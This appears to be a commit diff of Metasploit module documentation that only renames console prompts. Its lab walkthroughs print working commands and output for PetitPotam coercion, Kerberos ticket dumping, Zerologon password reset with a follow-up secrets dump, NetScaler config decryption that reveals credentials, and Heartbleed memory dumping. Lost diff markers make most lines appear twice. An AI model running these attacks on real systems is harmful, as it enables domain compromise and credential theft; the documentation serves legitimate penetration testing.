msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
msf auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
msf auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
msf auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
msf auxiliary(scanner/dcerpc/petitpotam) > run
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) >
msf auxiliary(scanner/dcerpc/petitpotam) >
```
If the module does not indicate that the attack was successful, another tool like
@@ -150,12 +150,12 @@ from the compromised host. If the attack was successful there should be at least
computer account.
```
msf6 > use post/windows/manage/kerberos_tickets
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
msf > use post/windows/manage/kerberos_tickets
msf post(windows/manage/kerberos_tickets) > set SESSION -1
SESSION => -1
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
msf post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
SERVICE => krbtgt/*
msf6 post(windows/manage/kerberos_tickets) > run
msf post(windows/manage/kerberos_tickets) > run
[*] LSA Handle: 0x000001efe1c415a0
[*] LogonSession LUID: 0x00004bc1d
@@ -208,7 +208,7 @@ In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
```
msf6 post(windows/manage/kerberos_tickets) > klist
msf post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
id host principal sname issued status path
@@ -216,7 +216,7 @@ id host principal sname i
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
msf6 post(windows/manage/kerberos_tickets) >
msf post(windows/manage/kerberos_tickets) >
```
### Using The Ticket
+5 -5
View File
@@ -81,12 +81,12 @@ Examples
Starting a module as a job:
msf5 exploit(multi/handler) > run -j
msf exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
A verbose listing of all the jobs:
msf5 exploit(multi/handler) > jobs -v
msf exploit(multi/handler) > jobs -v
Jobs
====
@@ -97,16 +97,16 @@ A verbose listing of all the jobs:
Set some jobs to be started on `msfconsole` start:
msf5 exploit(multi/handler) > jobs -p 1-2
msf exploit(multi/handler) > jobs -p 1-2
Added persistence to job 1.
Added persistence to job 2.
Getting information about a specific job:
msf5 exploit(multi/handler) > jobs -i 1
msf exploit(multi/handler) > jobs -i 1
Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
msf5 exploit(multi/handler) > jobs -i 1 -v
msf exploit(multi/handler) > jobs -i 1 -v
Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
+3 -3
View File
@@ -30,8 +30,8 @@ Examples
Run the heartbleed module every 10 seconds against a server for an hour:
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
# Set other options...
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
msf auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
@@ -107,10 +107,10 @@ fragments currently defined on the appliance as well as the current `ns.conf` fi
Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc:
```
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
ns_conf => /tmp/ns.conf.NS11.0-62.10.conf
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
[*] Config line:
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED
@@ -141,20 +141,20 @@ add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -disp
[+] User: wiz@cesium137.io
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
[*] Auxiliary module execution completed
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
```
Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc:
```
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf
msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf
ns_conf => /tmp/ns.conf
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
ns_kek_f1 => /tmp/F1.key
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
ns_kek_f2 => /tmp/F2.key
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
[*] Building NetScaler KEK from key fragments ...
[+] NS KEK F1
@@ -208,5 +208,5 @@ add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c599
[+] User: ldap
[+] Pass: Gr33n3gg$
[*] Auxiliary module execution completed
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
```
@@ -52,12 +52,12 @@ This value is only used when running the module with the `RESTORE` action.
First, exploit the vulnerability to remove the machine account password by replacing it with an empty string.
```
msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53
msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53
RHOSTS => 192.168.159.53
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP
NBNAME => WIN-GD5KVDKUNIP
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options
Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):
@@ -75,7 +75,7 @@ Auxiliary action:
REMOVE Remove the machine account password
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
[*] Running module against 192.168.159.53
[*] 192.168.159.53: - Connecting to the endpoint mapper service...
@@ -84,7 +84,7 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
[+] 192.168.159.53:6403 - Successfully authenticated
[+] 192.168.159.53:6403 - Successfully set the machine account (WIN-GD5KVDKUNIP$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
```
At this point the `exploit/windows/smb/psexec` module can be used to achieve code execution if desired. Set the `SMBUser` option to the
@@ -94,14 +94,14 @@ Next, recover the original machine account password value using `auxiliary/gathe
value in the `$MACHINE.ACC` section.
```
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump
msf auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53
RHOSTS => 192.168.159.53
msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$
msf auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$
SMBUser => WIN-GD5KVDKUNIP$
msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMBPass => aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 auxiliary(gather/windows_secrets_dump) > run
msf auxiliary(gather/windows_secrets_dump) > run
[*] Running module against 192.168.159.53
[*] 192.168.159.53:445 - Service RemoteRegistry is already running
@@ -131,18 +131,18 @@ EXCHG\WIN-GD5KVDKUNIP$:aad3b435b51404eeaad3b435b51404ee:ec3a7fa2158f1f705898d538
No cached hashes on this system
[*] 192.168.159.53:445 - Cleaning up...
[*] Auxiliary module execution completed
msf6 auxiliary(gather/windows_secrets_dump) >
msf auxiliary(gather/windows_secrets_dump) >
```
Finally, restore the original value using this module.
```
msf6 auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE
msf auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE
ACTION => RESTORE
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
PASSWORD => 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options
Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):
@@ -161,7 +161,7 @@ Auxiliary action:
RESTORE Restore the machine account password
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
[*] Running module against 192.168.159.53
[*] 192.168.159.53: - Connecting to the endpoint mapper service...
@@ -169,5 +169,5 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
[*] 192.168.159.53:6403 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.159.53[6403] ...
[+] 192.168.159.53:6403 - Successfully set machine account (WIN-GD5KVDKUNIP$) password
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
```

Some files were not shown because too many files have changed in this diff Show More